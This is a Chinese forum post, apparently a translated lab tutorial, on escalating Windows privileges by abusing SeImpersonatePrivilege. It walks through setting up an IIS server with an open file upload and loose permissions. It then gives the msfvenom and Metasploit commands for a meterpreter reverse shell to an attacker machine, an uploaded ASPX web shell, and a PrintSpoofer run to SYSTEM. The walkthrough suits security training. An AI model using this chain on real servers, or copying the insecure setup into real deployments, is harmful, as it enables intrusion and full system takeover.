电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 966 人浏览分享

Windows 权限提升:SeImpersonatePrivilege

[复制链接]
966 0
在本文中我们将展示在运行 Windows Server 2019 计算机的 IIS 服务器上创建实验室环境的过程
设置 IIS 服务器后。我们将重点介绍使用 SeImpersontePrivilege 或 Impersonate a Client After
Authentication”用户权限 以使用不同的方法提升机器上的访问权限。

目录

介绍

实验室设置
IIS安装
添加上传功能
更改权限

IIS服务器的利用

使用 PrintSpoofer 提升权限

结论


介绍

谈到SeImpersonatePrivilege(身份验证后模拟客户端),它是在Windows 2000 SP4 中引入的。被分配此权限的用户是
设备本地管理员组的成员和设备的本地服务帐户。除了这些用户和组之外,以下组件也具有此用户权限: 由服务控制管理
器组件对象模型 (COM) 服务器启动的服务由 COM 基础结构启动并配置为在特定帐户下运行 现在我们知道哪些类型的用
户拥有此特权,是时候了解用户使用这些特权获得什么了。每当为用户分配 SeImpersontatePrivilege 时,就允许该用户
代表该用户运行程序以模拟客户端。

现在我们对SeImpersontatePrivilege 有了一定的了解。现在让我们深入了解实验室设置
我们将在进行时讨论这个问题。

实验室设置

正如我们从简介中了解到的这种权限是针对本地管理员或具有类似角色的用户设置的。因此为了复制该漏洞我们
将使用带有 AD 的 Window Server 2019。当微软修补漏洞时 我们将使用 Build 17763如下图所示。

系统信息

QQ截图20211103171820.png

IIS安装

我们将通过在我们的机器上安装 IIS 服务器来获得特定的权限要配置 IIS 服务器我们需要打开服务
器管理器并从快速启动菜单中选择添加角色和功能如下图所示。

QQ截图20211103171914.png

这将打开安装向导。我们在没有做任何更改的情况下浏览了开始之前部分。现在我们看到了安装类型部分
我们将继续选择基于角色或基于功能的安装选项。

QQ截图20211103171952.png

同样 我们正在轻松完成服务器选择,因为这对于每个用户都是不同的因为它基于您为服务器提供的名称及其
后续森林。我们进入服务器角色部分。在这里我们可以选择 Web 服务器 (IIS),如下所示。

998.png

按下一步按钮将引导我们进入功能部分。在这里 我们必须确保我们有一些使 IIS 正常运行所需的依赖项它包括 .NET
Framework 4.7;有可能它会默认安装。但除此之外,我们需要安装 ASP .NET 4.7,在 WCF 服务下 我们有 HTTP
激活和 TCP 端口共享。同样,如果您已经安装了某些东西。可以通过单击下一步继续。

997.png

现在我们有了要安装的基于角色的服务的部分。除了我们将选择的 Web 服务器及其包含常见 HTTP 功能运
行状况和诊断、性能和安全组件的组件之外,还会自动选择一些组件如下图所示。

996.png

最后 我们有确认部分。在这里 我们可以验证我们要安装的所有服务和组件您可以通
过单击安装按钮继续安装。

993.png

安装过程将运行一段时间,然后您将成功安装 IIS 服务。我们可以通过您选择的 Web 浏览器访问服务
器的 IP 地址来查看 IIS 欢迎页面。如果遇到问题,请尝试重新启动 IIS 服务或服务器本身。

992.png

添加上传功能

与 Linux HTTP 服务器中的 /var/www/html 类似,我们在 inetpub/wwwroot 位置中有等效项。它将具有我们之前
在 Web 浏览器上查看的欢迎页面。在这个阶段,我们想将上传功能添加到我们的 IIS 服务器上。为此,我们创建了
一些网页和脚本。我们不会在这里详细解释这些。但是,如果您想在部署中添加这些文件,请从我们的GitHub 存
储库下载文件并将这些文件提取到 wwwroot 目录中,以复制如下所示的图像。

991.png

要访问我们 ISS 服务器上的 CS.aspx我们将编辑 iisstart HTML 页面。第一次打开文件时您会看到一些评论和
Microsoft 官方链接我们删除了这些数据并添加了我们服务器的静态地址 后跟 aspx 文件的名称。当我们单击
用于重定向到 Microsoft 主页的欢迎页面时,这将使我们的 CS.aspx 网页可访问。我们这样做是为了使我们
的应用程序易于访问。

990.png

更改权限

添加带有上传功能的网页的过程还没有结束 我们需要更改权限以便我们可以访问网页并上传文件
要更改权限 我们打开 IIS 管理器。在右侧菜单中,我们有图中突出显示的“编辑权限”选项。

899.png

这将打开 wwwroot 目录权限。在这里 我们允许域的用户完全控制具有 wwwroot 目录的修改访问权限
但是,存在一种更安全的方法,即为 IIS 服务器的管理创建一个专用用户并为该特定用户添加受限权限
但是,为了时间和方便,我们正在为所有用户申请许可。

898.png

利用 IIS 服务器

现在我们已经启动并运行了 IIS 服务器。尽管我们必须提到,如果您的 IIS 服务器未按预期工作请尝试重新启动 IIS
服务或服务器本身。继续,为了利用 IIS 服务器,我们添加了文件上传功能。转到我们的攻击者机器,即 Kali 机器
在这里,我们在网络中也设置了 Kali 机器,这样就可以通过 Kali 上的 Web 浏览器访问 IIS 服务。我们浏览文件上
传功能并上传位于网页上 /usr/share/webshel​​ls/aspx/cmdasp.aspx 的 ASP 命令外壳,如下图所示。

897.png

单击上传 按钮 我们将成功上传文件。这只是一个演示;在上传 shell 之前现实生活场景将
具有额外的安全性和步骤。

896.png

根据提供上传功能的文件的编程,上传的文件将被放置在上传目录中。因此我们可以通过浏
览 /Uploads/cmdasp.aspx 来访问上传的 shell,如图所示。这里我们有一个字段可用于在
目标机器上运行命令。我们通过运行 net user 命令演示了这一点。

892.png

现在我们已经测试了我们可以上传 shell 并执行命令,是时候利用系统并在目标机器上获得一个
meterpreter了这意味着我们需要使用 msfvenom 或您选择的任何其他工具创建有效负载我们
将我们的有效载荷命名为 shell.exe
  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=192
  2. .168.1.2 lport=1234 -f exe > shell.exe
复制代码

891.png

成功创建有效载荷后我们将像之前使用 aspx shell 一样上传有效载荷我们可以看到可
执行payload已经成功上传到目标机器上。

890.png

现在要生成meterpreter shell,我们还需要执行payload。因此我们将使用 aspx shell 浏览
上传的可执行 shell.exe 文件的路径,如下图所示。

316.png

在执行有效载荷之前,我们需要创建一个侦听器,用于捕获从有效载荷生成的 Meterpreter 反向 shell我们需
要提供与使用 msfvenom 制作有效载荷时使用的相同配置。接下来,我们将使用 aspx shell 在机器上利用有
效负载并接收 meterpreter shell。由于我们在这篇文章中关注的是权限,因此我们运行 getprivs 命令来获取
在目标机器上启用的权限。我们可以看到在目标机器上启用了有问题的特权。即 SeImpersontatePrivilege。
  1. msfconsole
  2. use exploit/multi/handler
  3. set payload windows/meterpreter/reverse_tcp
  4. set lhost 192.168.1.2
  5. set lport 1234
  6. exploit
  7. getprivs
复制代码

216.png

尽管您不需要依赖 Metepreter shell 的 getprivs 命令。您可以在 whoami 命令的帮助下检查启用的权限
并添加 /priv 选项 如下图所示。我们可以看到 我们通过利用获得的会话是针对用户 iisapppool 的。
  1. shell
  2. whoami /priv
  3. whoami
复制代码

212.png

使用 PrintSpoofer 提升权限

在野外滥用以利用我们在本文中讨论的特权的关键资源之一称为 PrintSpoofer。您可以从GitHub获取源代码和准备部署的
可执行文件. 该工具相对较新,但它用于提升访问权限的技术已经过时。要了解此工具如何利用 SeImpersontatePrivilege
我们将了解此权限提供的访问权限。正如我们在介绍中所讨论的,此权限允许用户创建具有其他用户访问权限的进程因此
PrintSpoofer 利用它来提升对 NT Authority 的整体访问权限。在下面的演示中,我们将移至 Public 目录,因为它将具有
上传 PrintSpoofer 可利用文件所需的写入权限。然后在上传可执行文件后,我们移动到目标机器上的命令外壳 在列出内
容后我们可以看到 PrintSpoofer 可执行文件的传输成功。

211.png

使用 PrintSpoofer 漏洞利用非常简单,因为只需要两个参数:-I 用于告诉可执行文件提供交互式会话,-c 用于提供您希
望在利用后获得的访问权限。当我们在目标机器上运行这个命令时,我们可以看到它搜索 SeImpersontatePrivilege然后
检查命名管道。随着这些步骤的成功,它继续创建我们提供的 -c 选项作为 NT 权限令牌或访问的过程。我们可以看到生
成了一个新的命令 shell 实例,当我们运行 whoami 命令时我们可以看到我们已经成功提升了我们在目标机器上的权限。
  1. PrintSpoofer64.exe -i -c cmd
  2. whoami
复制代码

210.png

结论

这是值得研究和撰写的有趣帖子之一。在研究过程中,很明显虽然有许多使用各种工具来利用机器上的
SeImpersontatePrivilege 的指南,但没有一个资源显示我们如何首先获得这些权限。我希望该资源可
以帮助您掌握利用 SeImpersontatePrivilege 背后的概念和方法。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.